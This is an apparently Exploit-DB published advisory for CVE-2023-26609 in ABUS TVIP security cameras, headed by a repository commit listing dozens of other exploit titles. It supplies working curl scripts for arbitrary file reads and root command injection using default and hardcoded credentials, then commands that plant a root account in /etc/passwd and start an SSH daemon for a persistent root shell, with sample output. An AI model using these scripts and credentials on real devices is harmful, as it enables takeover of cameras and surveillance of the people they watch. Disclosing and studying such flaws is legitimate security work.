d7c9ba572a
50 changes to exploits/shellcodes/ghdb Mitel MiCollab AWV 8.1.2.4 and 9.1.3 - Directory Traversal and LFI ABUS Security Camera TVIP 20000-21150 - LFI_ RCE and SSH Root Access Arris Router Firmware 9.1.103 - Remote Code Execution (RCE) (Authenticated) Osprey Pump Controller 1.0.1 - (eventFileSelected) Command Injection Osprey Pump Controller 1.0.1 - (pseudonym) Semi-blind Command Injection Osprey Pump Controller 1.0.1 - (userName) Blind Command Injection Osprey Pump Controller 1.0.1 - Administrator Backdoor Access Osprey Pump Controller 1.0.1 - Authentication Bypass Credentials Modification Osprey Pump Controller 1.0.1 - Cross-Site Request Forgery Osprey Pump Controller 1.0.1 - Predictable Session Token / Session Hijack Osprey Pump Controller 1.0.1 - Unauthenticated File Disclosure Osprey Pump Controller 1.0.1 - Unauthenticated Remote Code Execution Exploit Osprey Pump Controller v1.0.1 - Unauthenticated Reflected XSS WIMAX SWC-5100W Firmware V(1.11.0.1 :1.9.9.4) - Authenticated RCE HospitalRun 1.0.0-beta - Local Root Exploit for macOS Adobe Connect 10 - Username Disclosure craftercms 4.x.x - CORS EasyNas 1.1.0 - OS Command Injection Agilebio Lab Collector Electronic Lab Notebook v4.234 - Remote Code Execution (RCE) Art Gallery Management System Project in PHP v 1.0 - SQL injection atrocore 1.5.25 User interaction - Unauthenticated File upload - RCE Auto Dealer Management System 1.0 - Broken Access Control Exploit Auto Dealer Management System v1.0 - SQL Injection Auto Dealer Management System v1.0 - SQL Injection in sell_vehicle.php Auto Dealer Management System v1.0 - SQL Injection on manage_user.php Best pos Management System v1.0 - Remote Code Execution (RCE) on File Upload Best pos Management System v1.0 - SQL Injection ChurchCRM v4.5.3-121fcc1 - SQL Injection Dompdf 1.2.1 - Remote Code Execution (RCE) Employee Task Management System v1.0 - Broken Authentication Employee Task Management System v1.0 - SQL Injection on (task-details.php?task_id=?) Employee Task Management System v1.0 - SQL Injection on edit-task.php flatnux 2021-03.25 - Remote Code Execution (Authenticated) Intern Record System v1.0 - SQL Injection (Unauthenticated) Kimai-1.30.10 - SameSite Cookie-Vulnerability session hijacking LDAP Tool Box Self Service Password v1.5.2 - Account takeover Music Gallery Site v1.0 - Broken Access Control Music Gallery Site v1.0 - SQL Injection on music_list.php Music Gallery Site v1.0 - SQL Injection on page Master.php Music Gallery Site v1.0 - SQL Injection on page view_music_details.php POLR URL 2.3.0 - Shortener Admin Takeover Purchase Order Management-1.0 - Local File Inclusion Simple Food Ordering System v1.0 - Cross-Site Scripting (XSS) Simple Task Managing System v1.0 - SQL Injection (Unauthenticated) modoboa 2.0.4 - Admin TakeOver pdfkit v0.8.7.2 - Command Injection FileZilla Client 3.63.1 - 'TextShaping.dl' DLL Hijacking Windows 11 10.0.22000 - Backup service Privilege Escalation TitanFTP 2.0.1.2102 - Path traversal to Remote Code Execution (RCE) Unified Remote 3.13.0 - Remote Code Execution (RCE)
155 lines
No EOL
4.4 KiB
Text
155 lines
No EOL
4.4 KiB
Text
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
# Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
|
|
# Date: 2023-02-16
|
|
# Exploit Author: d1g@segfault.net for NetworkSEC [NWSSA-001-2023]
|
|
# Vendor Homepage: https://www.abus.com
|
|
# Version/Model: TVIP 20000-21150 (probably many others)
|
|
# Tested on: GM ARM Linux 2.6, Server: Boa/0.94.14rc21
|
|
# CVE: CVE-2023-26609
|
|
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
|
|
++++++++++++++++++++
|
|
0x00 DESCRIPTION
|
|
++++++++++++++++++++
|
|
|
|
During a recent engagement, a network camera was discovered. Web fuzzing
|
|
revealed a URL of
|
|
|
|
/device
|
|
|
|
containing output about running processes as well as a pretty complete
|
|
listing of webcontent which inevitably arose our suspicion.
|
|
|
|
More research revealed that files w/ known LFI and RCE issues were present,
|
|
leading to either arbitrary file reads or remote code execution, both w/
|
|
root privileges and using known default credentials (either admin:admin
|
|
or manufacture:erutcafunam).
|
|
|
|
After closer filesystem inspection, RCE led to a remote root SSH shell.
|
|
|
|
|
|
+++++++++++++++
|
|
0x01 IMPACT
|
|
+++++++++++++++
|
|
|
|
The LFI vulnerability can be exploited using a URL of:
|
|
|
|
/cgi-bin/admin/fileread?READ.filePath=[filename]
|
|
|
|
and is able to read any file on the system.
|
|
|
|
|
|
The RCE vulnerability originates from a command injection and may be
|
|
exploited by calling a URL of:
|
|
|
|
/cgi-bin/mft/wireless_mft?ap=irrelevant;[command]
|
|
|
|
(as classy as it can get, we can also use the pipe "|" instead, and
|
|
linefeed a.k.a. "%0a" works as well)
|
|
|
|
effectively giving us remote code (or rather command) execution.
|
|
|
|
|
|
+++++++++++++++++++++++++++++++
|
|
0x02 PROOF OF CONCEPT (PoC)
|
|
+++++++++++++++++++++++++++++++
|
|
|
|
#!/bin/bash
|
|
#
|
|
# ABUS Security Camera LFI
|
|
#
|
|
curl -iv "http://admin:admin@a.b.c.d/cgi-bin/admin/fileread?READ.filePath=/$1"
|
|
|
|
The script can be called like:
|
|
|
|
./LFI.sh /etc/passwd
|
|
|
|
to display the contents of the passwd file. When reading the configuration of
|
|
the BOA server (/etc/boa.conf), we find hardcoded credentials:
|
|
|
|
# MFT: Specify manufacture commands user name and password
|
|
MFT manufacture erutcafunam
|
|
|
|
These can now be used to execute the RCE (based on command injection):
|
|
|
|
#!/bin/bash
|
|
#
|
|
# ABUS Security Camera RCE
|
|
#
|
|
curl -iv "http://manufacture:erutcafunam@a.b.c.d/cgi-bin/mft/wireless_mft?ap=testname;$1"
|
|
|
|
and can be called like:
|
|
|
|
./LFI.sh id
|
|
|
|
to display a user id of
|
|
|
|
uid=0(root) gid=0(root)
|
|
|
|
|
|
+++++++++++++++++++++++++++++++
|
|
0x03 SSH Remote Root Access
|
|
+++++++++++++++++++++++++++++++
|
|
|
|
After having discovered the previously described vulnerabilities, multiple
|
|
attempts to spawn a nice reverse shell failed as the system was minimal
|
|
and did neither offer binaries like bash or netcat, nor any compilers or
|
|
scripting language interpreters to execute our code. Furthermore, binaries
|
|
that we transferred onto the system (for ARM little-endian architecture)
|
|
either resulted in "Segmentation fault" (mfsvenom) or as we saw later
|
|
"Illegal instruction" (netcat for ARM).
|
|
|
|
We had to inspect the local attack surface and use the LOLBIN approach,
|
|
a.k.a. living off the land binaries available on the system.
|
|
|
|
In this case, the minimal and often busybox-included dropbear SSH daemon
|
|
became pretty handy.
|
|
|
|
|
|
To successfully implement a remote root SSH shell for persistance, several
|
|
steps had to be undertaken:
|
|
|
|
|
|
1) First, we had to create a valid SSH keyset by reusing our RCE.sh skript:
|
|
|
|
./RCE.sh "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key"
|
|
|
|
|
|
2) Then, add our user to the password file, e.g.:
|
|
|
|
./RCE.sh "echo%20d1g:OmE2EUpLJafIk:0:0:root:/:/bin/sh%20>>%20/etc/passwd"
|
|
|
|
|
|
3) Finally, start the server:
|
|
|
|
./RCE.sh "/etc/dropbear/dropbear%20-E%20-F"
|
|
|
|
|
|
We can now SSH (using obsolete and insecure algorithms for both KeyExchange and HostKey)
|
|
into our rootshell:
|
|
|
|
sshpass -p XXXXXXX ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa d1g@x.x.x.x
|
|
|
|
Welcome to
|
|
|
|
_____ __ ___ __ ___ _ _ _
|
|
| ___| / \ / __ \ / \ | _ \ / \ \ \ / /
|
|
| |___ / /\ \ | /__\ \ / /\ \ | | \ | / /\ \ \ V /
|
|
| ___|| |__| | | _ / | |__| | | | | | | |__| | \ /
|
|
| | | __ | | | \ \ | __ | | |_/ / | __ | | |
|
|
|_| |_| |_| |_| \_\|_| |_| |___ / |_| |_| |_|
|
|
|
|
For further information check:
|
|
http://www.GM.com/
|
|
|
|
BusyBox v1.1.3 (2012.07.16-03:58+0000) Built-in shell (ash)
|
|
Enter 'help' for a list of built-in commands.
|
|
|
|
[d1g]# id
|
|
uid=0(root) gid=0(root)
|
|
|
|
|
|
---
|
|
|
|
#EOF |